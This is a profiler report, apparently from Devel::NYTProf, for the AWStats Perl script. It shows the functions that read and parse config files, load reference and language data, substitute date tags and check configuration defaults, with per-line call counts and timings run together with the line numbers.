114414.0e-64.0e-6 if ($configdir)
1145 {
1146 # If from CGI, overwriting of configdir is only possible if AWSTATS_ENABLE_CONFIG_DIR defined
1147 if ($ENV{'GATEWAY_INTERFACE'} && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
1148 {
1149 error("Sorry, to allow overwriting of configdir parameter from an AWStats CGI usage, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1");
1150 }
1151 else
1152 {
1153 @PossibleConfigDir=("$configdir");
1154 }
1155 }
1156 else { @PossibleConfigDir=("$DIR","/etc/awstats","/usr/local/etc/awstats","/etc","/etc/opt/awstats"); }
1157
1158 # Open config file
1159 $FileConfig=$FileSuffix='';
1160 foreach (@PossibleConfigDir) {
116135.1e-51.7e-5 my $searchdir=$_;
1162 if ($searchdir && $searchdir !~ /[\\\/]$/) { $searchdir .= "/"; }
116331.1e-53.7e-6 if (open(CONFIG,"$searchdir$PROG.$SiteConfig.conf")) { $FileConfig="$searchdir$PROG.$SiteConfig.conf"; $FileSuffix=".$SiteConfig"; last; }
1164 if (open(CONFIG,"$searchdir$PROG.conf")) { $FileConfig="$searchdir$PROG.conf"; $FileSuffix=''; last; }
1165 }
1166 if (! $FileConfig) { error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\" after searching in path \"".join(',',@PossibleConfigDir)."\": $!"); }
1167
1168 # Analyze config file content and close it
1169 &Parse_Config( *CONFIG , 1 , $FileConfig);
# spent 21.6ms making 1 call to main::Parse_Config
1170 close CONFIG;
1171
1172 # If parameter NotPageList not found, init for backward compatibility
1173 if (! $FoundNotPageList) {
1174 %NotPageList=('css'=>1,'js'=>1,'class'=>1,'gif'=>1,'jpg'=>1,'jpeg'=>1,'png'=>1,'bmp'=>1,'ico'=>1,'swf'=>1);
1175 }
1176 # If parameter ValidHTTPCodes empty, init for backward compatibility
1177 if (! scalar keys %ValidHTTPCodes) { $ValidHTTPCodes{"200"}=$ValidHTTPCodes{"304"}=1; }
1178 # If parameter ValidSMTPCodes empty, init for backward compatibility
1179 if (! scalar keys %ValidSMTPCodes) { $ValidSMTPCodes{"1"}=$ValidSMTPCodes{"250"}=1; }
1180}
1181
1182#------------------------------------------------------------------------------
1183# Function: Parse content of a config file
1184# Parameters: opened file handle, depth level, file name
1185# Input: -
1186# Output: Global variables
1187# Return: -
1188#------------------------------------------------------------------------------
1189
# spent 21.6ms within main::Parse_Config which was called # once (21.6ms+0) by main::Read_Config at line 1169
sub Parse_Config {
119085.8e-57.3e-6 my ( $confighandle ) = $_[0];
1191 my $level = $_[1];
1192 my $configFile = $_[2];
1193 my $versionnum=0;
1194 my $conflinenb=0;
1195
1196 if ($level > 10) { error("$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."); }
1197
1198 while (<$confighandle>) {
1199161520.018981.2e-6 chomp $_; s/\r//;
1200 $conflinenb++;
1201
1202 # Extract version from first line
120328.0e-64.0e-6 if (! $versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i) {
1204 $versionnum=($1*1000)+$2;
1205 #if ($Debug) { debug(" Configure file version is $versionnum",1); }
1206 next;
1207 }
1208
12092160.000209.5e-7 if ($_ =~ /^\s*$/) { next; }
1210
1211 # Check includes
1212 if ($_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/) { # #include kept for backward compatibility
1213 my $includeFile = $1;
1214 # Expand __var__ by values
1215 while ($includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/) {
1216 my $var=$1; $includeFile =~ s/__${var}__/$ENV{$var}/g;
1217 }
1218 if ($Debug) { debug("Found an include : $includeFile",2); }
1219 if ( $includeFile !~ /^[\\\/]/ ) {
1220 # Correct relative include files
1221 if ($FileConfig =~ /^(.*[\\\/])[^\\\/]*$/) { $includeFile = "$1$includeFile"; }
1222 }
1223 if ( open( CONFIG_INCLUDE, $includeFile ) ) {
1224 &Parse_Config( *CONFIG_INCLUDE , $level+1, $includeFile);
1225 close( CONFIG_INCLUDE );
1226 }
1227 else {
1228 error("Could not open include file: $includeFile" );
1229 }
1230 next;
1231 }
1232
1233 # Remove comments
123410960.000908.2e-7 if ($_ =~ /^\s*#/) { next; }
1235 $_ =~ s/\s#.*$//;
1236
1237 # Extract param and value
1238 my ($param,$value)=split(/=/,$_,2);
1239 $param =~ s/^\s+//; $param =~ s/\s+$//;
1240
1241 # If not a param=value, try with next line
1242 if (! $param) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; }
1243 if (! defined $value) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; }
1244
12456950.000991.4e-6 if ($value) {
1246 $value =~ s/^\s+//; $value =~ s/\s+$//;
1247 $value =~ s/^\"//; $value =~ s/\";?$//;
1248 # Replace __MONENV__ with value of environnement variable MONENV
1249 # Must be able to replace __VAR_1____VAR_2__
1250 while ($value =~ /__([^\s_]+(?:_[^\s_]+)*)__/) { my $var=$1; $value =~ s/__${var}__/$ENV{$var}/g; }
1251 }
1252
1253 # Initialize parameter for (param,value)
125424.0e-62.0e-6 if ($param =~ /^LogFile/) {
125513.0e-63.0e-6 if ($QueryString !~ /logfile=([^\s&]+)/i) { $LogFile=$value; }
1256 next;
1257 }
125824.0e-62.0e-6 if ($param =~ /^DirIcons/) {
125911.0e-61.0e-6 if ($QueryString !~ /diricons=([^\s&]+)/i) { $DirIcons=$value; }
1260 next;
1261 }
126223.0e-61.5e-6 if ($param =~ /^SiteDomain/) {
1263 # No regex test as SiteDomain is always exact value
1264 $SiteDomain=$value;
1265 next;
1266 }
126731.0e-53.3e-6 if ($param =~ /^HostAliases/) {
1268 @HostAliases=();
1269 foreach my $elem (split(/\s+/,$value)) {
127092.8e-53.1e-6 if ($elem =~ s/^\@//) { # If list of hostaliases in a file
1271 open(DATAFILE,"<$elem") || error("Failed to open file '$elem' declared in HostAliases parameter");
1272 my @val=map(/^(.*)$/i,<DATAFILE>);
1273 push @HostAliases, map{qr/^$_$/i} @val;
1274 close(DATAFILE);
1275 }
1276 else {
127726.0e-63.0e-6 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1278 else { $elem='^'.quotemeta($elem).'$'; }
127933.8e-51.3e-5 if ($elem) { push @HostAliases, qr/$elem/i; }
1280 }
1281 }
1282 next;
1283 }
1284 # Special optional setup params
128531.0e-53.3e-6 if ($param =~ /^SkipDNSLookupFor/) {
1286 @SkipDNSLookupFor=();
1287 foreach my $elem (split(/\s+/,$value)) {
1288 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1289 else { $elem='^'.quotemeta($elem).'$'; }
1290 if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
1291 }
1292 next;
1293 }
129437.0e-62.3e-6 if ($param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/) {
1295 @AllowAccessFromWebToFollowingAuthenticatedUsers=();
1296 foreach (split(/\s+/,$value)) { push @AllowAccessFromWebToFollowingAuthenticatedUsers,$_; }
1297 next;
1298 }
129938.0e-62.7e-6 if ($param =~ /^DefaultFile/) {
1300 @DefaultFile=();
1301 foreach my $elem (split(/\s+/,$value)) {
1302 # No REGEX for this option
1303 #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1304 #else { $elem='^'.quotemeta($elem).'$'; }
130515.0e-65.0e-6 if ($elem) { push @DefaultFile,$elem; }
1306 }
1307 next;
1308 }
130938.0e-62.7e-6 if ($param =~ /^SkipHosts/) {
1310 @SkipHosts=();
1311 foreach my $elem (split(/\s+/,$value)) {
1312 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1313 else { $elem='^'.quotemeta($elem).'$'; }
1314 if ($elem) { push @SkipHosts, qr/$elem/i; }
1315 }
1316 next;
1317 }
1318 if ($param =~ /^SkipReferrersBlackList/ && $value) {
1319 open (BLACKLIST, "<$value") || die "Failed to open blacklist: $!\n";
1320 while (<BLACKLIST>) {
1321 chomp;
1322 my $elem = $_;
1323 $elem =~ s/ //;
1324 $elem =~ s/\#.*//;
1325 if ($elem) { push @SkipReferrers, qr/$elem/i; }
1326 }
1327 next;
1328 close (BLACKLIST);
1329 }
133036.0e-62.0e-6 if ($param =~ /^SkipUserAgents/) {
1331 @SkipUserAgents=();
1332 foreach my $elem (split(/\s+/,$value)) {
1333 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1334 else { $elem='^'.quotemeta($elem).'$'; }
1335 if ($elem) { push @SkipUserAgents, qr/$elem/i; }
1336 }
1337 next;
1338 }
133936.0e-62.0e-6 if ($param =~ /^SkipFiles/) {
1340 @SkipFiles=();
1341 foreach my $elem (split(/\s+/,$value)) {
1342 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1343 else { $elem='^'.quotemeta($elem).'$'; }
1344 if ($elem) { push @SkipFiles, qr/$elem/i; }
1345 }
1346 next;
1347 }
134837.0e-62.3e-6 if ($param =~ /^OnlyHosts/) {
1349 @OnlyHosts=();
1350 foreach my $elem (split(/\s+/,$value)) {
1351 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1352 else { $elem='^'.quotemeta($elem).'$'; }
1353 if ($elem) { push @OnlyHosts, qr/$elem/i; }
1354 }
1355 next;
1356 }
135738.0e-62.7e-6 if ($param =~ /^OnlyUserAgents/) {
1358 @OnlyUserAgents=();
1359 foreach my $elem (split(/\s+/,$value)) {
1360 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1361 else { $elem='^'.quotemeta($elem).'$'; }
1362 if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
1363 }
1364 next;
1365 }
136639.0e-63.0e-6 if ($param =~ /^OnlyFiles/) {
1367 @OnlyFiles=();
1368 foreach my $elem (split(/\s+/,$value)) {
136921.3e-56.5e-6 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1370 else { $elem='^'.quotemeta($elem).'$'; }
137112.2e-52.2e-5 if ($elem) { push @OnlyFiles, qr/$elem/i; }
1372 }
1373 next;
1374 }
1375 if ($param =~ /^NotPageFiles/) {
1376 @NotPageFiles=();
1377 foreach my $elem (split(/\s+/,$value)) {
1378 if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1379 else { $elem='^'.quotemeta($elem).'$'; }
1380 if ($elem) { push @NotPageFiles, qr/$elem/i; }
1381 }
1382 next;
1383 }
138441.6e-54.0e-6 if ($param =~ /^NotPageList/) {
1385 %NotPageList=();
1386103.2e-53.2e-6 foreach (split(/\s+/,$value)) { $NotPageList{$_}=1; }
1387 $FoundNotPageList=1;
1388 next;
1389 }
139038.0e-62.7e-6 if ($param =~ /^ValidHTTPCodes/) {
1391 %ValidHTTPCodes=();
139227.0e-63.5e-6 foreach (split(/\s+/,$value)) { $ValidHTTPCodes{$_}=1; }
1393 next;
1394 }
139536.0e-62.0e-6 if ($param =~ /^ValidSMTPCodes/) {
1396 %ValidSMTPCodes=();
139728.0e-64.0e-6 foreach (split(/\s+/,$value)) { $ValidSMTPCodes{$_}=1; }
1398 next;
1399 }
140023.0e-61.5e-6 if ($param =~ /^URLWithQueryWithOnlyFollowingParameters$/) {
1401 @URLWithQueryWithOnly=split(/\s+/,$value);
1402 next;
1403 }
140423.0e-61.5e-6 if ($param =~ /^URLWithQueryWithoutFollowingParameters$/) {
1405 @URLWithQueryWithout=split(/\s+/,$value);
1406 next;
1407 }
1408
1409 # Extra parameters
1410 if ($param =~ /^ExtraSectionName(\d+)/) { $ExtraName[$1]=$value; next; }
1411 if ($param =~ /^ExtraSectionCodeFilter(\d+)/) { @{$ExtraCodeFilter[$1]}=split(/\s+/,$value); next; }
1412 if ($param =~ /^ExtraSectionCondition(\d+)/) { $ExtraCondition[$1]=$value; next; }
1413 if ($param =~ /^ExtraSectionStatTypes(\d+)/) { $ExtraStatTypes[$1]=$value; next; }
1414 if ($param =~ /^ExtraSectionFirstColumnTitle(\d+)/) { $ExtraFirstColumnTitle[$1]=$value; next; }
1415 if ($param =~ /^ExtraSectionFirstColumnValues(\d+)/) { $ExtraFirstColumnValues[$1]=$value; next; }
1416 if ($param =~ /^ExtraSectionFirstColumnFunction(\d+)/) { $ExtraFirstColumnFunction[$1]=$value; next; }
1417 if ($param =~ /^ExtraSectionFirstColumnFormat(\d+)/) { $ExtraFirstColumnFormat[$1]=$value; next; }
1418 if ($param =~ /^ExtraSectionAddAverageRow(\d+)/) { $ExtraAddAverageRow[$1]=$value; next; }
1419 if ($param =~ /^ExtraSectionAddSumRow(\d+)/) { $ExtraAddSumRow[$1]=$value; next; }
1420 if ($param =~ /^MaxNbOfExtra(\d+)/) { $MaxNbOfExtra[$1]=$value; next; }
1421 if ($param =~ /^MinHitExtra(\d+)/) { $MinHitExtra[$1]=$value; next; }
1422 # Special appearance parameters
142325.0e-62.5e-6 if ($param =~ /^LoadPlugin/) { push @PluginsToLoad, $value; next; }
1424 # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
1425266.6e-52.5e-6 if ($param =~ /^MaxNbOf(\w+)/) { $MaxNbOf{$1}=$value; next; }
1426266.1e-52.3e-6 if ($param =~ /^MinHit(\w+)/) { $MinHit{$1}=$value; next; }
1427 # Check if this is a known parameter
1428# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
1429 # If parameters was not found previously, defined variable with name of param to value
1430 $$param=$value;
1431 }
1432
1433 if ($Debug) { debug("Config file read was \"$configFile\" (level $level)"); }
1434}
1435
1436#------------------------------------------------------------------------------
1437# Function: Load the reference databases
1438# Parameters: List of files to load
1439# Input: $DIR
1440# Output: Arrays and Hash tables are defined
1441# Return: -
1442#------------------------------------------------------------------------------
1443
# spent 55.0ms within main::Read_Ref_Data which was called # once (55.0ms+0) at line 5863
sub Read_Ref_Data {
1444 # Check lib files in common possible directories :
1445 # Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl)
1446 # Debian package: "/usr/share/awstats/lib"
1447114.0e-53.6e-6 my @PossibleLibDir=("$DIR/lib","/usr/share/awstats/lib");
1448 my %FilePath=(); my %DirAddedInINC=();
1449 my @FileListToLoad=();
145041.4e-53.5e-6 while (my $file=shift) { push @FileListToLoad, "$file.pm"; }
1451 if ($Debug) { debug("Call to Read_Ref_Data with files to load: ".(join(',',@FileListToLoad))); }
1452 foreach my $file (@FileListToLoad) {
145382.3e-52.9e-6 foreach my $dir (@PossibleLibDir) {
1454240.000156.2e-6 my $searchdir=$dir;
1455 if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; }
145640.005360.00134 if (! $FilePath{$file}) { # To not load twice same file in different path
1457160.045920.00287 if (-s "${searchdir}${file}") {
1458 $FilePath{$file}="${searchdir}${file}";
1459 if ($Debug) { debug("Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"); }
1460 # Note: cygwin perl 5.8 need a push + require file
146127.0e-63.5e-6 if (! $DirAddedInINC{"$dir"}) {
1462 push @INC, "$dir";
1463 $DirAddedInINC{"$dir"}=1;
1464 }
1465 my $loadret=require "$file";
1466 #my $loadret=(require "$FilePath{$file}"||require "${file}");
1467 }
1468 }
1469 }
1470 if (! $FilePath{$file}) {
1471 my $filetext=$file; $filetext =~ s/\.pm$//; $filetext =~ s/_/ /g;
1472 warning("Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \"".($PossibleLibDir[0])."\" directory and is readable.");
1473 }
1474 }
1475 # Sanity check (if loaded)
1476 if ((scalar keys %OSHashID) && @OSSearchIDOrder != scalar keys %OSHashID) { error("Not same number of records of OSSearchIDOrder (".(@OSSearchIDOrder)." entries) and OSHashID (".(scalar keys %OSHashID)." entries) in OS database. Check your file ".$FilePath{"operating_systems.pm"}); }
1477 if ((scalar keys %SearchEnginesHashID) && (@SearchEnginesSearchIDOrder_list1+@SearchEnginesSearchIDOrder_list2+@SearchEnginesSearchIDOrder_listgen) != scalar keys %SearchEnginesHashID) { error("Not same number of records of SearchEnginesSearchIDOrder_listx (total is ".(@SearchEnginesSearchIDOrder_list1+@SearchEnginesSearchIDOrder_list2+@SearchEnginesSearchIDOrder_listgen)." entries) and SearchEnginesHashID (".(scalar keys %SearchEnginesHashID)." entries) in Search Engines database. Check your file ".$FilePath{"search_engines.pm"}." is up to date."); }
1478 if ((scalar keys %BrowsersHashIDLib) && @BrowsersSearchIDOrder != (scalar keys %BrowsersHashIDLib) - 4) { error("Not same number of records of BrowsersSearchIDOrder (".(@BrowsersSearchIDOrder)." entries) and BrowsersHashIDLib (".((scalar keys %BrowsersHashIDLib) - 4)." entries without msie,netscape,firefox,svn) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file ".$FilePath{"browsers.pm"}." is up to date."); }
1479 if ((scalar keys %RobotsHashIDLib) && (@RobotsSearchIDOrder_list1+@RobotsSearchIDOrder_list2+@RobotsSearchIDOrder_listgen) != (scalar keys %RobotsHashIDLib) - 1) { error("Not same number of records of RobotsSearchIDOrder_listx (total is ".(@RobotsSearchIDOrder_list1+@RobotsSearchIDOrder_list2+@RobotsSearchIDOrder_listgen)." entries) and RobotsHashIDLib (".((scalar keys %RobotsHashIDLib) - 1)." entries without 'unknown') in Robots database. Check your file ".$FilePath{"robots.pm"}." is up to date."); }
1480}
1481
1482
1483#------------------------------------------------------------------------------
1484# Function: Get the messages for a specified language
1485# Parameters: LanguageId
1486# Input: $DirLang $DIR
1487# Output: $Message table is defined in memory
1488# Return: None
1489#------------------------------------------------------------------------------
1490
# spent 26.0ms within main::Read_Language_Data which was called # once (26.0ms+0) at line 5837
sub Read_Language_Data {
1491 # Check lang files in common possible directories :
1492 # Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl)
1493 # Debian package : "/usr/share/awstats/lang"
149482.2e-52.8e-6 my @PossibleLangDir=("$DirLang","$DIR/lang","/usr/share/awstats/lang");
1495
1496 my $FileLang='';
1497 foreach (@PossibleLangDir) {
149830.022000.00733 my $searchdir=$_;
1499 if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; }
150021.2e-56.0e-6 if (open(LANG,"${searchdir}awstats-$_[0].txt")) { $FileLang="${searchdir}awstats-$_[0].txt"; last; }
1501 }
1502 # If file not found, we try english
1503 if (! $FileLang) {
1504 foreach (@PossibleLangDir) {
1505 my $searchdir=$_;
1506 if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; }
1507 if (open(LANG,"${searchdir}awstats-en.txt")) { $FileLang="${searchdir}awstats-en.txt"; last; }
1508 }
1509 }
1510 if ($Debug) { debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]"); }
151170.000720.00010 if ($FileLang) {
1512 my $i = 0;
1513 binmode LANG; # Might avoid 'Malformed UTF-8 errors'
1514 my $cregcode=qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
1515 my $cregdir=qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
1516 my $cregmessage=qr/^Message\d+=/i;
1517 while (<LANG>) {
15188650.001501.7e-6 chomp $_; s/\r//;
1519 if ($_ =~ /$cregcode/o) { $PageCode = $1; }
1520 if ($_ =~ /$cregdir/o) { $PageDir = $1; }
152115390.001771.1e-6 if ($_ =~ s/$cregmessage//o) {
1522 $_ =~ s/^#.*//; # Remove comments
1523 $_ =~ s/\s+#.*//; # Remove comments
1524 $_ =~ tr/\t / /s; # Change all blanks into " "
1525 $_ =~ s/^\s+//; $_ =~ s/\s+$//;
1526 $_ =~ s/^\"//; $_ =~ s/\"$//;
1527 $Message[$i] = $_;
1528 $i++;
1529 }
1530 }
1531 close(LANG);
1532 }
1533 else {
1534 warning("Warning: Can't find language files for \"$_[0]\". English will be used.");
1535 }
1536 # Some language string changes
1537 if ($LogType eq 'M') { # For mail
1538 $Message[8]=$Message[151];
1539 $Message[9]=$Message[152];
1540 $Message[57]=$Message[149];
1541 $Message[75]=$Message[150];
1542 }
1543 if ($LogType eq 'F') { # For web
1544
1545 }
1546}
1547
1548
1549#------------------------------------------------------------------------------
1550# Function: Substitute date tags in a string by value
1551# Parameters: String
1552# Input: All global variables
1553# Output: Change on some global variables
1554# Return: String
1555#------------------------------------------------------------------------------
1556
# spent 69µs within main::Substitute_Tags which was called # once (69µs+0) by main::Check_Config at line 1654
sub Substitute_Tags {
1557215.8e-52.8e-6 my $SourceString=shift;
1558 if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
1559
1560 my %MonthNumLibEn = ("01","Jan","02","Feb","03","Mar","04","Apr","05","May","06","Jun","07","Jul","08","Aug","09","Sep","10","Oct","11","Nov","12","Dec");
1561
1562 while ($SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/) {
1563 # Accept tag %xx-dd and %xx-(dd)
1564 my $timetag="$1";
1565 my $timephase=quotemeta("$2");
1566 my $timephasenb="$2"; $timephasenb=~s/[^\d]//g;
1567 if ($Debug) { debug(" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",1); }
1568 # Get older time
1569 my ($oldersec,$oldermin,$olderhour,$olderday,$oldermonth,$olderyear,$olderwday,$olderyday) = localtime($starttime-($timephasenb*3600));
1570 my $olderweekofmonth=int($olderday/7);
1571 my $olderweekofyear=int(($olderyday-1+6-($olderwday==0?6:$olderwday-1))/7)+1; if ($olderweekofyear > 52) { $olderweekofyear = 1; }
1572 my $olderdaymod=$olderday%7;
1573 $olderwday++;
1574 my $olderns=Time::Local::timegm(0,0,0,$olderday,$oldermonth,$olderyear);
1575 if ($olderdaymod <= $olderwday) { if (($olderwday != 7) || ($olderdaymod != 0)) { $olderweekofmonth=$olderweekofmonth+1; } }
1576 if ($olderdaymod > $olderwday) { $olderweekofmonth=$olderweekofmonth+2; }
1577 # Change format of time variables
1578 $olderweekofmonth = "0$olderweekofmonth";
1579 if ($olderweekofyear < 10) { $olderweekofyear = "0$olderweekofyear"; }
1580 if ($olderyear < 100) { $olderyear+=2000; } else { $olderyear+=1900; }
1581 my $oldersmallyear=$olderyear;$oldersmallyear =~ s/^..//;
1582 if (++$oldermonth < 10) { $oldermonth = "0$oldermonth"; }
1583 if ($olderday < 10) { $olderday = "0$olderday"; }
1584 if ($olderhour < 10) { $olderhour = "0$olderhour"; }
1585 if ($oldermin < 10) { $oldermin = "0$oldermin"; }
1586 if ($oldersec < 10) { $oldersec = "0$oldersec"; }
1587 # Replace tag with new value
1588 if ($timetag eq 'YYYY') { $SourceString =~ s/%YYYY-$timephase/$olderyear/ig; next; }
1589 if ($timetag eq 'YY') { $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig; next; }
1590 if ($timetag eq 'MM') { $SourceString =~ s/%MM-$timephase/$oldermonth/ig; next; }
1591 if ($timetag eq 'MO') { $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig; next; }
1592 if ($timetag eq 'DD') { $SourceString =~ s/%DD-$timephase/$olderday/ig; next; }
1593 if ($timetag eq 'HH') { $SourceString =~ s/%HH-$timephase/$olderhour/ig; next; }
1594 if ($timetag eq 'NS') { $SourceString =~ s/%NS-$timephase/$olderns/ig; next; }
1595 if ($timetag eq 'WM') { $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g; next; }
1596 if ($timetag eq 'Wm') { my $olderweekofmonth0=$olderweekofmonth-1; $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g; next; }
1597 if ($timetag eq 'WY') { $SourceString =~ s/%WY-$timephase/$olderweekofyear/g; next; }
1598 if ($timetag eq 'Wy') { my $olderweekofyear0=sprintf("%02d",$olderweekofyear-1); $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g; next; }
1599 if ($timetag eq 'DW') { $SourceString =~ s/%DW-$timephase/$olderwday/g; next; }
1600 if ($timetag eq 'Dw') { my $olderwday0=$olderwday-1; $SourceString =~ s/%Dw-$timephase/$olderwday0/g; next; }
1601 # If unknown tag
1602 error("Unknown tag '\%$timetag' in parameter.");
1603 }
1604 # Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
1605 $SourceString =~ s/%YYYY/$nowyear/ig;
1606 $SourceString =~ s/%YY/$nowsmallyear/ig;
1607 $SourceString =~ s/%MM/$nowmonth/ig;
1608 $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
1609 $SourceString =~ s/%DD/$nowday/ig;
1610 $SourceString =~ s/%HH/$nowhour/ig;
1611 $SourceString =~ s/%NS/$nowns/ig;
1612 $SourceString =~ s/%WM/$nowweekofmonth/g;
1613 my $nowweekofmonth0=$nowweekofmonth-1; $SourceString =~ s/%Wm/$nowweekofmonth0/g;
1614 $SourceString =~ s/%WY/$nowweekofyear/g;
1615 my $nowweekofyear0=$nowweekofyear-1; $SourceString =~ s/%Wy/$nowweekofyear0/g;
1616 $SourceString =~ s/%DW/$nowwday/g;
1617 my $nowwday0=$nowwday-1; $SourceString =~ s/%Dw/$nowwday0/g;
1618
1619 return $SourceString;
1620}
1621
1622
1623#------------------------------------------------------------------------------
1624# Function: Check if all parameters are correctly defined. If not set them to default.
1625# Parameters: None
1626# Input: All global variables
1627# Output: Change on some global variables
1628# Return: None
1629#------------------------------------------------------------------------------
1630
# spent 523µs (454+69) within main::Check_Config which was called # once (454µs+69µs) at line 5821
sub Check_Config {
16311670.000342.0e-6 if ($Debug) { debug("Call to Check_Config"); }
1632
1633 # Show initial values of main parameters before check
1634 if ($Debug) {
1635 debug(" LogFile='$LogFile'",2);
1636 debug(" LogType='$LogType'",2);
1637 debug(" LogFormat='$LogFormat'",2);
1638 debug(" LogSeparator='$LogSeparator'",2);
1639 debug(" DNSLookup='$DNSLookup'",2);
1640 debug(" DirData='$DirData'",2);
1641 debug(" DirCgi='$DirCgi'",2);
1642 debug(" DirIcons='$DirIcons'",2);
1643 debug(" NotPageList ".(join(',',keys %NotPageList)),2);
1644 debug(" ValidHTTPCodes ".(join(',',keys %ValidHTTPCodes)),2);
1645 debug(" ValidSMTPCodes ".(join(',',keys %ValidSMTPCodes)),2);
1646 debug(" UseFramesWhenCGI=$UseFramesWhenCGI",2);
1647 debug(" BuildReportFormat=$BuildReportFormat",2);
1648 debug(" BuildHistoryFormat=$BuildHistoryFormat",2);
1649 debug(" URLWithQueryWithOnlyFollowingParameters=".(join(',',@URLWithQueryWithOnly)),2);
1650 debug(" URLWithQueryWithoutFollowingParameters=".(join(',',@URLWithQueryWithout)),2);
1651 }
1652
1653 # Main section
1654 $LogFile=&Substitute_Tags($LogFile);
# spent 69µs making 1 call to main::Substitute_Tags
1655 if (! $LogFile) { error("LogFile parameter is not defined in config/domain file"); }
1656 if ($LogType !~ /[WSMF]/i) { $LogType='W'; }
1657 $LogFormat =~ s/\\//g;
1658 if (! $LogFormat) { error("LogFormat parameter is not defined in config/domain file"); }
1659 if ($LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/) { error("LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"); }
1660 $LogSeparator||="\\s";
1661 $DirData||='.';
1662 $DirCgi||='/cgi-bin';
1663 $DirIcons||='/icon';
1664 if ($DNSLookup !~ /[0-2]/) { error("DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"); }
1665 if (! $SiteDomain) { error("SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."); }
1666 if ($AllowToUpdateStatsFromBrowser !~ /[0-1]/) { $AllowToUpdateStatsFromBrowser=0; }
1667 if ($AllowFullYearView !~ /[0-3]/) { $AllowFullYearView=2; }
1668 # Optional setup section
1669 if (! $SectionsToBeSaved) { $SectionsToBeSaved='all'; }
1670 if ($EnableLockForUpdate !~ /[0-1]/) { $EnableLockForUpdate=0; }
1671 $DNSStaticCacheFile||='dnscache.txt';
1672 $DNSLastUpdateCacheFile||='dnscachelastupdate.txt';
1673 if ($DNSStaticCacheFile eq $DNSLastUpdateCacheFile) { error("DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."); }
1674 if ($AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/) { $AllowAccessFromWebToAuthenticatedUsersOnly=0; }
1675 if ($CreateDirDataIfNotExists !~ /[0-1]/) { $CreateDirDataIfNotExists=0; }
1676 if ($BuildReportFormat !~ /html|xhtml|xml/i) { $BuildReportFormat='html'; }
1677 if ($BuildHistoryFormat !~ /text|xml/) { $BuildHistoryFormat='text'; }
1678 if ($SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/) { $SaveDatabaseFilesWithPermissionsForEveryone=0; }
1679 if ($PurgeLogFile !~ /[0-1]/) { $PurgeLogFile=0; }
1680 if ($KeepBackupOfHistoricFiles !~ /[0-1]/) { $KeepBackupOfHistoricFiles=0; }
1681 $DefaultFile[0]||='index.html';
1682 if ($AuthenticatedUsersNotCaseSensitive !~ /[0-1]/) { $AuthenticatedUsersNotCaseSensitive=0; }
1683 if ($URLNotCaseSensitive !~ /[0-1]/) { $URLNotCaseSensitive=0; }
1684 if ($URLWithAnchor !~ /[0-1]/) { $URLWithAnchor=0; }
1685 $URLQuerySeparators =~ s/\s//g;
1686 if (! $URLQuerySeparators) { $URLQuerySeparators='?;'; }
1687 if ($URLWithQuery !~ /[0-1]/) { $URLWithQuery=0; }
1688 if ($URLReferrerWithQuery !~ /[0-1]/) { $URLReferrerWithQuery=0; }
1689 if ($WarningMessages !~ /[0-1]/) { $WarningMessages=1; }
1690 if ($DebugMessages !~ /[0-1]/) { $DebugMessages=0; }
